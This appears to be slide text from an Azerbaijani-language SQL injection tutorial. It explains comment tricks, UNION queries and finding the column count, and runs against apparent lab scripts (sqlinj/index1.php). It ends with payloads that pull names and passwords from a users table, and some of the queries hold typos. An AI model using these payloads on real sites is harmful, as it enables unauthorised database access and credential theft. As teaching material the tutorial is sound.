2. SQL injection nədir?
Sadə dillə desək, bu, skriptin yaradıcısı tərəfindən
planlaşdırılmamış bəzi hərəkətləri yerinə yetirməyə
imkan verən verilənlər bazasına hücumdur.
3. Əvvəlcə anlayaq ki, " -- " işarəsi SQL dilində şərh hesab olunur.
Şərhdən sonra gələn hər şey silinəcək.Yəni sorğu:
SELECT * FROM news WHERE user=‘tural' – habrahabra
Siz bunu index2.php skriptində belə bir sorğu göndərərək sınaya
bilərsiniz:
sqlinj/index2.php?user= tural'%20--%20habrahabr
4. Union
SQL-də UNION açar sözü iki SQL sorğusunun
nəticələrini bir cədvəldə birləşdirmək üçün istifadə
olunur. Yəni başqa siyahıdan bizə lazım olan bir şeyi
çıxarmaq üçün.
Bundan yararlanaq
SELECT * FROM news WHERE id=1 UNION SELECT 1
Və bizə səhv verdi, çünki. sorğuların yığılması ilə işləmək üçün bizə eyni sayda sütun
lazımdır.
Çünki Birinci sorğuda onların sayına təsir edə bilmədiyimiz üçün ikincidə onların
sayını seçməliyik ki, birinciyə bərabər olsun.
5. Sütunların sayını axtaraq
qlinj/index1.php?id=1 UNION SELECT 1,2
Xəta…
sqlinj/index1.php?id=1 UNION SELECT1,2,3
Yenə xəta!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Heç bir xəta yoxdur! Beləliklə, sütunların sayı 5-dir.
6. GROUP BY
Çox vaxt olur ki, 20 və ya 40, hətta 60 sütun ola bilər.Hər dəfə
onlardan keçmək məcburiyyətində qalmamaq üçün biz GROUP
BY istifadə edirik.
sqlinj/index1.php?id=1 GROUP 2
heç bir səhv vermədi, buna görə də sahələrin sayı 2-dən çoxdur.
sqlinj/index1.php?id=1 GROUP 8
Biz xəta görürük, ona görə də sahələrin sayı 8-dən azdır.
7. Məlumat çıxarmaq
Deyək ki biz bilirik Users cədvəlində (table) id, name, pass
sütunlırın olduğunu bilirik.
Bizə id=1 olan istifadəçinin məlumatları lazımdır
Beləliklə, belə bir sorğu quraq:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users
WHERE id=1
burada biz tam list aldığımızdan sonra sorğunu bu cür dəyişə
bilərik
sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5
FROM users WHERE id=1